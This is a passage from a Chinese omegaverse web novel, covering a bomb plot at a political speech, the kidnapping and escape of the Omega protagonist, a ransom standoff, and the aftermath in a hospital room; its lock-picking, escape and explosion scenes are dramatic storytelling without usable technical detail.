沈之年反手关上门,没有开灯,借着门缝透进来的微弱光线,迅速扫视。他的目光落在墙角一个半人高的金属控制箱上,箱门虚掩着,挂着一把小小的、看起来并不牢固的锁。 他凑近,从发髻里摸出一根细细的黑色发夹——那是他今天早上特意别上的。捏住发夹一端,在锁孔里小心地探了探,感受着内部弹簧和锁舌的细微阻力。 时间一秒一秒过去。走廊外隐约传来会场里主持人提高音量的声音,似乎进入了下一环节。他的额头渗出细密的汗珠,手指却稳得出奇。 咔哒。 一声轻响,锁弹开了。 他轻轻拉开箱门。里面是复杂的线路板和接口,红绿黄各色线缆缠绕。他的目光急速搜索。很快,他注意到一组连接讲台区域电源和音频信号的线路上,并联了一个火柴盒大小的、深灰色不起眼的塑料盒子,盒子引出两根极细的导线,接入主线路。盒子表面没有任何标识。 不是原装设备。 沈之年没有贸然去动那个盒子。他小心翼翼地拨开周围的线缆,观察盒子的连接方式。是串联在音频信号回路里?不,更像是并联,只取了一个信号触发点。如果是声控或遥控,需要更复杂的接收装置。这个盒子太小了。 定时?盒子本身没有显示装置。 沈之年对炸弹一窍不通,赶紧呼叫了专业的人员。 专业人员到了检查片刻,“这不是炸弹的主题,是一个信号装置,我们得找到炸弹主体才行。” 炸弹的主体。那个更可能藏在讲台附近,或者……音响师的工具箱里。 台上的流程声音透过墙壁,变得模糊不清,但能听出掌声又响起了几次。时间真的不多了—— 就在这时,他听到讲台前方,传来了主持人清晰而充满敬意的高昂声音: “下面,让我们以最热烈的掌声,欢迎Omega协会的会长,为我们作重要讲话!” 雷鸣般的掌声轰然响起,穿透隔板,震动着后台的空气。 沈之年猛地站直身体,透过背景板的缝隙,向前台看去。 深红色的帷幕缓缓向两边拉开。沈奉月穿着一身端庄的套装,面容沉静,目光坚定,在追光灯的照耀下,步履平稳地走向演讲台。他微笑着向台下致意,然后停在了讲台后方。 沈之年的目光死死锁定沈奉月的身前——那个厚重的木质演讲台,那盆兰草,那支麦克风。还有侧台,沈奉月依旧站在那里,笑容可掬,目光追随着沈奉月的身影。 没有任何异常。 沈奉月调整了一下麦克风的高度——正是之前音响师调整过的那个角度。他清了清嗓子,沉稳、清晰、充满力量的声音通过遍布会场的音响设备传了出来: “各位代表,同志们,朋友们:今天,我们齐聚一堂……” 声音洪亮,稳定,没有丝毫杂音或中断。 沈之年紧绷的神经,直到这一刻,才稍稍松懈了一丝。但他依旧站在原地,目光锐利地扫视着台上台下每一个角落,耳朵捕捉着任何一丝不谐的声响。 “当我们审视当前的教育版图时,一个不容回避的现象依然存在:仍有一部分Omega,在她们求知若渴的年纪,被无形或有形的壁垒,限制在单一性别的“Omega学校”选项中。我们肯定那些在特定历史时期或特殊理念下为Omega教育做出贡献的办学模式,但我们更需清醒地认识到,在当今时代,将教育环境基于性别进行物理性或制度性的普遍隔离,本质上是对“平等”与“全面发展”理念的背离。” ······ 十分钟过去了。二十分钟过去了。 “……因此我再次强调,促使Omega能够收到更加公正的教育,不是针对任何一个性别,而是为了构建对所有人都更加公正的社会环境。教育的有性别区分,而是权力失衡、是偏见、是漠视。我们今天坐在这里讨论这部法律,不是为了分裂,而是为了愈合;不是为了对抗,而是为了共建。” 一切平静。 沈之年的视线再次掠过侧台的音响师。他不知何时已经离开了原来的位置,正低着头,从侧面的小楼梯缓缓走下台,背影显得有些佝偻,融入了台下阴影之中,不再像之前那样引人注目。 “……因此,我们必须坚定不移地推进各项权益保障工作,凝聚更广泛的社会共识,携手共创一个更加平等、和谐、美好的未来!” “总有人说,我们在破坏传统。但我要说,我们不是在破坏什么,我们只是在修复——修复这个社会对Omega人口的亏欠。” 最后一个字落下,余音似乎还在高大的礼堂空间里回荡。 紧接着—— “哗——!!!” 如同潮水般汹涌澎湃的掌声骤然爆发,瞬间充满了整个空间,震耳欲聋,持续不断。台上的沈奉月再次微笑颔首致意,灯光在他身上镀上一层明亮的光晕。 沈之年靠在后台冰凉的墙壁上,缓缓地、彻底地吐出了一口憋在胸口许久的浊气。耳畔是山呼海啸般的掌声,眼前是安然无恙的沈奉月和沸腾的会场。 掌心被指甲掐出的月牙形痕迹,微微刺疼—— 沈之年兴冲冲的闯进休息室,“爸爸,你真是太棒了,我听到了你的演讲,你会拯救所有的Omega的,我相信你!” 沈之年兴奋的话音落下,休息室里没有人回应沈之年兴致勃勃的话,只有长久的安静。 背对沈之年的沙发上站起来一个人,一个沈之年也觉得意外的人。 陈序······ “小沈先生,您也真的是有本事,我们给你放了那么多的陷阱,您都没有跳进去。”陈序渐渐走近沈之年,“那我们只能尝试Planb。” 沈之年无助的向身后退,但是大门早就轰的关上,还有两个健壮的Alpha在门前守着。 “你什么意思?”看来逃跑应该已经走不了了,沈之年想要做一个明白鬼。 至少他是沈奉月的儿子,他还有价值,那些人不会立刻杀了他······ 希望吧······ “我本来想把引到那个闲聊的群里看一些假消息来误导你,没想到你们真的有点本事,竟然真的能够找到我们。” 没办法,顾景深手下的都是各个顶尖大学出来的精品打工人,能力当然很强。 而且虽然陈序表现的真的很完美,但是沈之年一直就对他的消息有所警惕。 后面找到了那个核心的聊天群之后,那个闲聊群里的内容相对来说信任度就大打折扣。 里面有很多似是而非的消息,都被他们排斥了。 原来是刻意放出来误导他的,如果他没有想办法黑进核心的群聊,恐怕真的会被大量无意义的消息消耗掉大多的精力,并且被引导做出错误的判断。 沈之年看着陈序。 “我以为你会恨Alpha,毕竟你饱受欺压。” 陈序冷哼一声,“那都是以前了,现在我在组织里已经混出了名堂,我只会平步青云!” 第84章 意识像沉入深海的石头, 缓慢而痛苦地浮出黑暗。 首先感觉到的是头痛——撕裂般的钝痛在右额跳跃。然后是气味:尘土、汽油、皮革混合着汗水发酵的酸臭。当沈之年试图移动时,发现双手被塑料束带死死捆在背后,双脚也被同样束缚着。 他侧躺在车后座地板上, 脸贴着粗糙的毡毯,能感觉到车辆行驶中的每一次颠簸。 好烂的车,沈之年出生以来就没有做过这么烂的车子了。 汽车引擎声沉闷而持续。前座有两个Alpha正在交谈,他悄悄将眼睛睁开一条缝——车厢昏暗, 只有仪表盘的微光。左边驾驶座上的男人是陈序。 “沈奉月没能弄死,回去之后怎么交代?” “当初和···承诺的那么好, 肯定完成任务, 肯定能转移他们的视线, 给你那么好的机会,按照道理来说根本不会引起怀疑,你就把事情扮成这个样子?” 陈序的声音清晰的传过来,“幸好还有紧急备案,有这位在,也不是一败涂地。” “呵, 那跟当初他一露头直接就捆了有什么区别?” “那时候,你以为你能捆的了他?他出现的时候就在戒备周然了,只有周然那个蠢货发现不了,哦, 还有你······” “要不是我思虑周全, 我们现在就得灰溜溜一无所获的回去了,你最好把嘴巴闭上······” 那人不说话了。 车速并不快,似乎在坑洼不平的道路上行驶。 沈之年轻轻活动手腕,塑料束带深深嵌入皮肤,但没有完全剥夺手腕的活动空间。他的目光扫过后座——一个破旧的背包, 几瓶水,还有一小截不知何用的金属线,可能是某种设备的残留线缆。 机会。 沈之年小心翼翼地滚动身体,尽量不让动作引起车辆晃动。他的目光锁定在那截金属线上,大约十厘米长,一端有锐利的断口。如果能割开束带 车辆突然转向,沈之年顺势滚向车门,伸手去够那截金属线。指尖刚触碰到冰冷表面,车子猛地下沉又弹起——一个大坑洼。金属线被震得向前滑动了几厘米。 该死。 他调整姿势,指尖再次探出。这一次,中指和食指成功夹住了那截线缆。他慢慢将它拖向自己,掌心被锐利边缘划出一道细痕,但疼痛让他清醒。 现在,最难的部分——如何用被反绑的手操作一根短金属线割开塑料束带? 引擎声突然变化,车速减慢。沈之年僵住了,屏住呼吸。前座传来对话: “还有多远?”驾驶座的人问。 “不到二十公里。···会等我们。”陈序回答,每次一说到那个关键的称呼他们就会压低声音。 “他醒了没?” 一阵沉默。沈之年感到一道目光扫过后座,他保持完全静止,连呼吸都几乎停止。 “还在睡。药量足够了。” “检查一下。” 脚步声?不,只是座椅的吱呀声。沈之年的心脏狂跳,几乎要从喉咙里蹦出来。 “等他醒了再查。现在先赶路。” 感谢上帝。 沈之年继续他的工作,将金属线夹在双掌之间,开始用锯齿状的边缘来回摩擦手腕上的塑料束带。一下,两下他能感觉到束带表面出现微小缺口。继续。摩擦产生的热量灼烧着他的皮肤,但他不敢停下。 割开三分之一时,车辆突然急刹。惯性将沈之年甩向前座底部,金属线脱手而出,消失在黑暗角落。 “怎么回事?”陈序质问。 “妈的,一群小孩。” 驾驶座开门下车的声音。机会!沈之年的手腕已经有一定的活动空间,如果现在能挣开他用尽全身力气扭动手腕,塑料边缘更深地嵌入皮肉,但束带正在松动。 车门打开又关上。驾驶座的人回来了,车辆重新启动。 束带只剩最后一点连接!沈之年再次发力,感觉塑料即将断裂—— “他动了。” 冰冷的声音从副驾驶座传来。沈之年僵住了。 一只手突然伸过来,粗暴地将他翻了个身。灯光刺入眼睛,他本能地闭上眼,再睁开时,正对上陈然的脸。 “果然醒了。”陈然说,声音毫无温度,完全没有之前怯懦的样子。 驾驶座的人转过头来,他有一对灰色的眼睛:“聪明的小鸟想飞走?” 看了一眼,又回过头,“妈的,真漂亮啊。” 沈之年咬紧嘴唇,没有回答。陈序探身过来,检查他的手腕,发现那几乎被割断的束带,冷笑一声。 “有意思。”他扯下旧的束带,从座位下拿出一副手铐。 “不”沈之年终于发出声音。 “安静。”陈序轻易地将他的双手铐在一起,动作专业而高效,“这个你割不开。”—— 车辆驶入更加崎岖的道路,颠簸得厉害。沈之年的额头撞到座位底部,旧伤处传来新的疼痛。 “放我走,”他尝试谈判,“陈序,你不过是要出人头地,你要的东西我也能给你。” 陈序笑了,那笑声里没有一丝温度:“沈之年,我像个傻子么?” 沈之年正色道,“我和父亲都是言而有信的人,你放我回去,之前的事情就全算了,我们也会帮你。” “顾景深也会帮你,你身后的头目究竟是什么人,难道比顾家还厉害?” “我和顾景深的匹配度是百分之百,你应该明白这是什么意思,他会用他的一切来寻找我,保护我。” 陈序没说话。 沈之年的心一沉,他不觉得现在陈序的沉默是在思考要不要答应他的提议。 或者说思考他的提议对于沈之年也不是一个好消息。 话说到这个份上,陈序给出的反馈竟然是斟酌。 至少说明在他的眼里,他背后的人和顾家相差不多,值得他背水一战。 沈之年还想在说话,说服陈序,那个灰色眼睛的男人却突然开口,“小美人,我还在这里没死呢,你也太明目张胆了吧。” 陈序被他这么一提醒也不再和沈之年说话。 “你就这么轻易被说动了,耳根子软。” “总比你好,没脑子!”陈序也恼恨自己真的有一些动摇了,狠狠的开口反驳他。 灰眼睛不知道想到了点什么,嗤笑了一声,没说话了—— 车辆驶入一个院子,停在简陋的房屋前。沈之年被拉出车厢,第一次看到夜空——繁星点点,在首都星这很罕见。 他被推进屋内,闻到尘土和霉味混合的气息。 房间里只有一张简陋的床铺和一把椅子。 “抓了他,真能实现你的梦想么?” 隔着窗子隐隐约约传来男人的声音。 沈之年开始环顾房间,寻找任何可能的机会。墙壁是泥砖砌成,地面是夯实的泥土,屋顶是木梁和茅草他的目光停在一根松动的墙砖上,边缘在月光下投出细长的影子。 他轻轻移动过去,用被铐住的双手试探那块砖。松动的,也许可以取出 “怎么?你心疼了,只要把他交给······” 门外突然传来脚步声。沈之年迅速退回原位,闭上眼睛假装睡着。锁扣转动,门被推开一条缝。 灰眼睛男人将一瓶水和一块馕饼放在地上。 “你老实待在这里。”他说,别想跑。” “你们要对我做什么?”能够看到星星,说明他们已经到了人迹罕至的地方,沈之年明白,现在想要逃跑,估计是没什么希望了,从这个屋子跑出去估计也跑不远,不如做个明白鬼。 谁知道那个灰眼睛竟然不置可否的摆摆手,“我怎么知道他要你干什么,我都是听他的。” 这个他应该是指陈序。 沈之年没办法,“你们为什么这么恨Omega?” 灰眼睛转过头,第一次认真的看着沈之年,“我不恨Omega,尤其是你这样的美人。” “行了,小美人,别和我搭话了,我做不了主的。” 门被关上,锁扣发出沉重的咔嗒声。 沈之年靠在墙上,金属手铐冰凉地贴着皮肤—— 顾景深很快就察觉到沈之年不见了。 他的眼睛总是黏在沈之年的身上,所以比谁发现的都要早。 而且也不知道是不是因为百分百的匹配度真的会带来不同寻常的效果,今天顾景深的心出乎意料的慌张。 陈序早有预谋,身后也有大人物撑腰,一路上根本就没有监控能够看到。 这是可以想见的。 沈奉月的眉头还没皱起来,顾景深就先开口,“我有办法找到年年。” ······ “你在年年身上装了定位,什么时候的事情?怎么装的?”坐在前往目的地车子上,沈奉月还是没忍住开口询问。 不知道陈序到底怎么找到的那个犄角旮旯,看起来倒是不远,但是路很难找,耽误了不少的行程,所以才给沈奉月和顾景深一个在车里说话的机会。 顾景深移开视线,答非所问,“抱歉,我们的匹配度太高了,百分之百。我办法······” “好,那我换个问题,你们和好了?” 顾景深捏捏手指,“还没有······” 第85章 他只是想要玩弄我的身体和感情, 顾景深在心里默默的补充。 虽然这段时间,顾景深一直殷勤的侍奉左右,但是沈之年一次都没有提起过和好的事情。 顾景深其实心里清楚, 沈之年没有驱赶他仅仅是因为现在暂时还没空驱赶他,沈奉月即将遇到的危险牵扯了他的全部心神。 甚至在这样的情况下,他是需要他的。 至少,没有他的信息素, 他没办法没日没夜的找消息。 而且有时候沈之年也需要玩弄他的身体来放松一下紧张的心情。 现在风波基本过去,顾景深也不清楚自己和沈之年的关系究竟能够走向何方。 他当初刚刚发现沈之年和薛明亦之间没有什么关系的时候, 是想要趁乱要一个名分, 被伊桑搅了之后, 再也没好意思再提起。 他也说不上是哪一天,突然动了把沈之年留在身边的念头······—— 这是沈之年被关的地方没有窗户,只有头顶一盏惨白的节能灯,二十四小时亮着,照得墙壁上的霉斑都无所遁形。时间失去刻度,但是沈之年隐隐约约的明白, 应该是入夜了。 门外隐约传来人声, “这次之后,你就能够得到你想要的一切了么?”其实沈之年对声音不是很敏感,两个人离得远远的, 不过沈之年还是觉得, 这是那个灰眼睛说出来的话,这句话说的很沉 “当然!···承诺过我,他会以后他都会重用我,那可是···家,···家你知道么!”陈序的声音里还是带着一点癫狂。 沈之年有时候觉得他可能是疯了。 “我不知道, 那些乱七八糟的人,只有你如数家珍······”灰眼睛轻声说了一句,还带着之前和沈之年说话时候的轻佻,然后就不再言语。 “切,没出息······”陈序冷冷的说了一声。 “等你功成名就之后要做什么?”灰眼睛其实不能理解陈序对出人头地,功成名就的追求。 但是陈序不知道是被那句话激到了,竟然和一只被踩了尾巴的猫一下,猛地拔高了音量。 “你这是什么意思,你就是觉得我低俗,我钻营!你们这些Alpha懂什么,你们天生就什么都有,我不过是想要得到和你们平等的机会,我做错了什么?” 灰眼睛没说话,只是看着陈序。 “你看我做什么??”陈序更生气了,“你看我做什么,哦,我知道了,里面是个Omega,长得又漂亮,你心疼了?哈,我答应你,等我有钱了,给你找十个八个侍奉你!” “你们Alpha不是还喜欢漂亮的Beta么,也给你找,我都给你找!” 灰眼睛:“现在还没能功成名就就想要甩开我么?你求我帮你,然后抓着我被(其实····)干(emmmm)的浪(哇,球球了)叫的时候可不是这个态度。” 然后沈之年就听到一阵叮叮当当的声音······· “你放开我!” ·······—— 顾景深赶到的时候,已经是第二天清晨。 陈序和灰眼睛站在两边,谁也不肯理谁。 顾景深看到陈序那张熟悉的脸。 他们不是没有戒备陈序,只是陈序看着懦弱,事情又多又急,还是对他掉以轻心,才让他钻了空了。 “竟然是我小看了你。” 陈序好像很喜欢这句话,就好像是得了什么赞美一样,“啊,让我们顾总栽跟头,真是我的荣幸。” 他的开心不像是假的,说出这句话的时候,陈序的眼角眉梢都是笑意,他是真心的为能够给顾景深这样的极优Alpha找到麻烦看到开心。 现在陈序的头发虽然还是长长的盖住眼睛,但是已经看不出之前那个懦弱的样子了。 顾景深懒得和他废话,这里只有两个人。 “把年年还给我,之前的事情我当作不知道,我放你们回去。”他带来了许多人,足够把沈之年抢回来,他说话的时候,带来的人就慢慢围了上去。 “都别动,我在这按了个炸弹。”陈序边说,便往后退,推到那个破房子的边缘,笑嘻嘻的开口,“和你们拆下来的同一款炸弹······” “就装在那个屋里。”陈序指指身后的房间,“不是什么高级炸弹,但是够把我们都炸死!” “也不一定,我可能死不了,但是里面那个娇弱的Omega肯定能炸个稀巴烂!” 顾景深的心一下子就被提了起来。 “你说什么?” “没能把沈会长炸死,能把他的儿子炸死,这个炸弹也算是没研究错。” 这个时候,在身后的沈奉月才迟迟的开口。 “你们好像特别恨我,你身后究竟是什么人,又答应了你什么?” 陈序看着沈奉月蓝灰色的眼睛,突然就笑了,“我不恨你,我就是讨厌所有借着性别便利轻轻松松就能够得到一切的人。” “你沈奉月原来也没什么两样啊!” 几句话说的疯疯癫癫。 顾景深懒得听他那些疯话,一天过去了,沈之年的信息素抑制贴早就有一点失效,顾景深在这里能够闻到一点隐隐约约的信息素的味道。 这里又旧又破,还荒凉,人烟都不见,里面还有炸弹,那个墙那么薄,沈之年一定是吓坏了。 “你想要什么,不妨直接开口,他能给的我也能给。” “我看你也不是对那个人有多忠诚,你就是想要钱,想要权力,想要好生活,这些我也能给你。” “你当我傻子,我已经上了这个船,哪还有回头路。”陈序敲敲墙壁,“里面这个Omega在这里,顾总才会和我这种人说话,他一带走,明天我就没命了吧。” “哪还有青云路走。” “你不把他还给我,你就有青云路走?你觉得你身后的人能护住你么?” 全是小心思,陈序愿意交涉就说明不是一门心思要死在那个船上。 能够把沈之年从这里赎出来,顾景深就不想要冒险。 “把钱打到这个账户上,再给我准备一笔现金,” “……要现金,旧钞,不连号。明天中午十二点,放到指定地点。” 短暂的沉默。 “可以。”顾景深说。干脆利落,没有犹豫。 现在走到这一步,陈序只能拿着现金逃命。 “再给我准备两张离开首都星的船票。”陈序说着,不太自然的看了身后的灰眼睛一眼。 “也可以。我保证没人能追到你的行踪。”这都是一些微不足道的小事情。 不过是想要没有后顾之忧的逃走,顾景深愿意给这个机会。 “然后!”陈序的声音拉的长长的,带着某种戏谑的残忍,“我要你,顾总,给我跪下!” 顾景深是陈序最讨厌的那种人,一出生家里就有数不完的钱,自己也是极优等Alpha,处处都有人追捧,什么都不用担忧。 他应该从来都没被侮辱过吧, 人人见了极优等的Alpha都只会追捧,怎么会有人侮辱呢 接着是更长的沉默。每一秒都被无限拉长,充满黏稠的、令人窒息的空气。 顾景深下颌线绷紧,但声音依旧平稳 “我答应。”顾景深的声音再次响起,比刚才更低,更沉,像被砂石磨过。 “我要你,”陈序一字一顿地说,“在这里,现在,跪下。” 顾景深的脸色没有变化:“我跪下,你就放人?” “那得看你跪得有没有诚意。”陈序后退一步,张开手臂,“来,让我开开眼,看看堂堂顾总是怎么下跪求人的。” “之前在各个报纸头条看到的顾总,多威风啊,现在也要给我下跪。” 顾景深的目光扫过眼前的人。陈序脸上写满嘲弄和期待,甚至已经掏出手机准备录像。 顾景深不在乎这些。 沈之年还在他们手里。 过去这几个小时,他几乎没有合眼,每一分钟都在设想他可能遭受的一切。 现在不过是下跪就能够把沈之年带回家,这又有什么打紧。 他缓缓地,极其缓慢地,弯曲了膝盖。 “等等!” 一个沙哑但清晰的声音从侧面的阴影处传来。 所有人都愣住了。 顾景深的动作僵在半空,难以置信地转头望去。 沈之年从林子后面钻了出来。 他的样子狼狈不堪——头发凌乱地沾着树叶和灰尘,脸上黑一道灰一道,浅色的上衣和裤子布满污渍,手肘和膝盖处明显擦破了,渗着血痕。但他,眼睛亮得惊人,直直看向顾景深。 “年年?”顾景深的声音第一次出现了颤抖。 “顾景深!爸爸!我在这里!我逃出来了!我昨天就逃出来了,你们来的好快!!” 清脆的声音,带着脱力后的颤抖和激动。 沈之年昨天想办法跑出去之后,还是想要尝试一下能不能逃走,在林子里做好了标记,但是还是迷路了。 他迷迷糊糊的竟然有就又钻了回来,一下子就看到这个场景。 其实也许不是迷迷糊糊的钻了回来,是顾景深一直在冥冥之中吸引着他, 陈序的脸色瞬间变得铁青,随即涨红。“你——”他猛地转向灰眼珠,“怎么回事?!” 沈之年已经走到了光线充足的地方,在离顾景深几米远处停下。“我没事,我自己逃出来了。”他的声音因为紧张而有些发颤,但努力维持着镇定,“我没有受伤!” 顾景深立刻想朝他走去,陈序却猛地掏出一把激光枪,先指向沈之年,又移向顾景深:“都别动!” 气氛瞬间绷紧到极致。 “陈序,冷静。”顾景深举起双手,做出安抚的姿态,但眼睛死死盯着那黑洞洞的枪口,“钱和车票我还是会给你。我人也在这里,绝不会食言放他走。” “走?”陈序的枪口在沈之年和顾景深之间来回移动,呼吸粗重,“他跑出来了!我他妈还走得了??!” “没有!”沈之年立刻接话,他强迫自己看着陈序的眼睛,尽管双腿发软,“是我自己逃出来的,他们不知情,陈序,你们要的是钱,现在钱已经到手了。多一事不如少一事,让我们离开,我保证我们不会报警。” “保证?”陈序怪笑一声,“小沈先生,你的保证值几个钱?”他的眼神变得阴鸷,“本来拿了钱,大家相安无事。但现在——”他顿了顿,忽然露出一个残忍的笑,“我得带着你们一起下去。” “黄泉路上,有你们几位能够作陪,也算是回本。” 他的激光抢先指在沈之年的头上,顾景深的脸色彻底白了。 “不要!”沈之年冲口而出,“你们已经拿到钱了!三百万还不够吗?” “不够!”陈序咆哮道,“老子最恨被人耍!跪下!现在!你们都给我跪下!” 他掏出激光枪的那一刻,顾景深带来的人就已经都掏出激光枪把陈序团团围住。 但是陈序这个疯子,好像完全看不到这些能够把他打成筛子的激光枪,还在哈哈大笑。 顾景深看着指在沈之年的枪,“我跪下,你把枪移开……” 他的笑声戛然而止,眼神变得疯狂而危险:“既然你们这么想一起死,我成全你们。” 顾景深立刻将沈之年完全挡在身后,面对陈序:“陈序,一切好商量。三百万不够,我可以再加。双倍,不,三倍!只要你放我们走,今天的事就当没发生过,我以顾家的名誉担保,绝不追究!” “名誉?担保?”陈序啐了一口,“顾景深,你当我三岁小孩?这Omega跑出来的时候,这事就已经不可能善了了!”他的手在发抖,不是害怕,而是暴怒到极致的表现,“你们看到了我的脸,知道了这个地方,我放你们走,明天警察就会找上门!” “我们不会说!”沈之年从顾景深身后喊道,“我们可以签协议,可以给你更多钱,让你远走高飞!只要你放了我们,什么都好说!” “闭嘴!”陈序吼道,枪口乱晃,“都他妈闭嘴!” 所有人都没有再说话,只剩下粗重的喘息声。 陈序的眼神混乱地闪烁着,在顾景深、沈之年和自己的手下之间移动。他能感觉到事情正在失控。原本计划得很完美:拿钱,羞辱顾景深,拍下视频作为以后的把柄,然后放人——就算他们报警,自己有视频在手,也能让顾景深投鼠忌器。 顾景深这样的极优Alpha最要面子了,他要走的那点钱虽然能够保证他和尤尔一辈子荣华富贵,但是对顾景深来说什么都算不上。 只要能够保证不再出现,不再威胁到沈之年的性命,有下跪的把柄在,他根本不会追。 但现在,人质自己跑出来了,计划全乱了。 恐惧开始渗入愤怒。如果放他们走,自己真的能安全吗?顾家的势力他清楚,警察的效率他也清楚。如果不放……那就只能灭口。但杀了顾景深和沈之年,事情就闹得太大了,大到背后的老板都可能压不住。 他陷入两难,而两难境地让他的情绪更加暴躁不稳。 顾景深敏锐地察觉到了陈序的动摇,他放缓声音,像在安抚一头困兽:“陈序,拿了钱,大家平安离开,是最好的结局。我可以现在就打电话,让人再送三百万过来。一个小时内,现金。你们有足够的时间撤离。” 陈序的眼神挣扎着。钱,更多的钱。安全撤离。这个提议很诱人。他瞥了一眼尤尔,那双灰眼珠里什么也看不出,他们眼中也流露出对更多金钱的渴望和对当前局面的不安。 就在陈序的枪口微微下垂,似乎有所松动的那一刹那—— “陈序,”顾景深立刻接话,语气更加诚恳,“我顾景深说话算话。今天你们若放我们一条生路,我不仅加倍给钱,还可以安排船送你们离开,保证安全。我若违背誓言,天打雷劈。” 沈之年也抓紧时机,从顾景深身后稍微侧出身:“陈序,我们只是想活命。你们拿了钱走人,我们回家,从此两不相干。我发誓,我绝不会指认你们,今晚的事我会烂在肚子里。” 陈序的目光在他们脸上来回移动。顾景深的眼神坚定而坦诚,沈之年的脸上也都是惶恐,满是恳求。更多的钱,安全的退路。也许……也许真的可以。 他的手指松开了扳机护圈,枪口又垂下几分。 顾景深心中稍稍一松,继续加码:“陈序,你可以拿走我的光脑、手表,任何可以定位的东西。你们先走,几个小时后再放了我们,或者把我们绑在这里,等你们安全了再通知人来救。这样总行了吧?” 这个提议似乎打动了陈序。他舔了舔干裂的嘴唇,眼神中的疯狂逐渐被算计取代。是的,这样更安全。把他们绑在这里,自己带着尤尔和钱撤离,等到了安全的地方,再打个匿名电话…… 然而,就在他几乎要点头同意的瞬间:“不对,你们在骗我,你们在骗我!你们能是什么好人,我一放下,你们肯定会把我打成筛子。” “你们不可信,部门不可信!!” 顾景深的心一沉,他看到了陈序眼中那种孤注一掷的疯狂重新燃起,而且比之前更甚。 “所有人都把枪放下,陈序,等等——”他试图做最后的努力······ “我答应过你们,之前说的一切,我都会兑现,我保证你和他能够在新的星球过上好的日子······”沈之年突然开口, 这时候陈序身后的尤尔却突然猛地发力,劈手夺走了那把枪。 刚才沈之年说的话不是对着陈序,而是对着他身后这么久了一直默不作声的尤尔。 陈序愣愣的看着空落落的手心,转过头看向尤尔,“你也背叛我···尤尔······” “我没有,我们走吧,他答应过我······” 陈序顺着过去,看到了沈之年,“所以是你把他放走的,尤尔······” “陈序,别再这样了······” 但陈序已经听不进去了。 他的左手突然伸进外套内侧口袋,掏出一个黑色的、巴掌大小的物体。 那是一个遥控器,上面有一个醒目的红色按钮。 “本来不想用这个的。”陈序的声音突然异常平静,平静得可怕,“这还是当时给自己留的退路。没想到,真用上了。” 顾景深的瞳孔骤然收缩。是那个炸药! “你疯了!”他厉声道,“这里爆炸,你也跑不掉!” “跑不掉怎么了。”陈序咧嘴笑,“不是有你们在陪我么?” 他举起了遥控器,拇指按在红色按钮上。 “永别了。” 时间在那一刻被拉长到极致。 顾景深看到陈序的拇指开始用力。 他看到沈之年惊恐睁大的眼睛。 所有人开始惊慌地朝门口退去。 然后,世界重新加速。 在陈序按下按钮的同一瞬间,顾景深做出了本能反应——猛地转身,用尽全身力气将沈之年扑倒在地,然后死死地将他整个身体护在自己身下,双臂环住他的头和背,用自己的脊背朝向炸药可能的方向。 “闭眼!捂耳!”他在他耳边嘶吼。 沈之年甚至没来得及反应,就被一股巨大的力量压倒。顾景深的身体重重地压在他身上,沉重,温暖,带着他特有的气息和此刻浓烈的恐惧。他下意识地照做,紧紧闭上眼睛,双手被他的一只大手按住,贴在耳边。 然后—— “轰!!!” 不是想象中的震天巨响,而是一种沉闷的、被压抑的爆炸声,从那个破屋子传来。 紧接着是剧烈的震动,气浪裹挟着灼热、刺鼻的烟雾和碎片席卷而来。 顾景深的身体剧烈地震动了一下,他闷哼一声,将沈之年护得更紧。他能感觉到有东西砸在他的背上,听到他压抑的痛呼,但他没有丝毫松动。 爆炸的余波很快过去。遍地弥漫着浓烟和灰尘,呛得人睁不开眼,剧烈咳嗽。 沈之年在顾景深身下颤抖着,耳朵里嗡嗡作响,但还能听到远处传来慌乱的脚步声和喊叫。 “顾景深……顾景深!”他挣扎着想从他身下出来,声音带了哭腔,“你怎么样?你受伤了?” 顾景深没有立刻回答。几秒钟后,他撑起身体,但动作明显迟缓而痛苦。灰尘和烟雾中,沈之年勉强能看到他的脸,苍白,额头上有一道被碎片划破的血痕,但他还活着,眼睛还睁着,正低头看他。 “我没事。”他的声音沙哑得厉害,说完就咳嗽起来,“你呢?受伤没有?” 沈之年快速检查自己,除了之前的擦伤和摔倒的疼痛,似乎没有新增的严重伤口。“我没事,真的,你……” 顾景深已经艰难地站起身,同时将他拉起来。他的后背西装外套被撕开了一道大口子,下面的白衬衫渗出血迹。 沈之年警惕地扫视四周,浓烟渐渐散去, 陈序和尤尔已经不见踪影,可能还是留了一手。 “他们……跑了?”沈之年不敢相信,转头想再和顾景深说说。 但是顾景深看着沈之年,露出一个苍白的笑容,然后重重倒在沈之年的身上。 “景深!!景深!!!!” 第86章 医院的走廊里, 消毒水的气味浓得几乎成了固体,粘在喉咙里。 沈之年站在VIP病房门口,手搭在冰冷的金属门把上, 迟迟没有转动。 病房里静得可怕,只有仪器发出规律的、微弱的滴答声,像某种倒计时。 他最终推门进去,目光立刻锁定在病床上。顾景深躺在那儿, 面色苍白,额头上缠着一圈绷带, 渗出些许暗红色的血迹, 之前不曾看到, 原来头上也伤到了。 他的睫毛在眼睑上投下浅浅的阴影,像是睡着了,只是这一睡已经不知道几天。 “医生说,再过几天,景深可能就醒来了。” 声音从窗边传来。沈之年这才注意到房间里还有一个人——顾景深的母亲,露易丝。 她坐在靠窗的椅子上, 午后的阳光斜斜地照在他半边脸上,另一半藏在阴影中。她看上去还是那么美丽,只是比沈之年上次见到时朴素了许多。 “阿姨。”沈之年的声音有些发涩,“我……对不起。” 露易丝没有立刻回应。他转过身, 目光平静地落在沈之年身上, 那种平静让沈之年更感不安。没有预想中的责备,甚至没有一丝怨恨,只有一种深不见底的疲惫。 “坐吧。”露易丝指了指床边的椅子,“别站着了。” 沈之年顺从地坐下,目光却无法从顾景深脸上移开。他额角的伤痕, 鼻梁上的擦伤,还有那双紧闭的眼睛。 “都是孽缘,你们的匹配度那么高,刚刚匹配的时候,我以为你们会幸福和谐的度过一生的。” “和我和怀深都不一样。” “那个时候我就劝过他了,知子莫若母,他喜欢你······”露易丝改口,“不是,准确的说他爱你。” “他只是拉不下面子,他觉得你不爱他,不愿意承认自己爱的更深刻,也不愿意接受被信息素控制。” “后面恩恩出现,他为了能够保护哥哥的遗孤,做了许多对不起你的事情。”露易丝叹息一声,“对不起,也许从一开始我就没有教好他。” “让他连自己的心都分不清,” 沈之年不能接受露易丝的歉意,至少如果遇到类似的事情,如若是林之白不幸早逝,留下一个活生生的孩子。 沈之年会做出同样的选择。 “没关系,不是他的错。” “我和他爸爸分开了。”露易丝忽然说,声音平淡得像在说今天的天气。 沈之年猛地抬起头,一时没反应过来。 “就上个星期的事。”露易丝继续说,手指轻轻摩挲着窗台的边缘,“三十多年的婚姻,说散也就散了。顾景深不知道,还没来得及告诉他。” 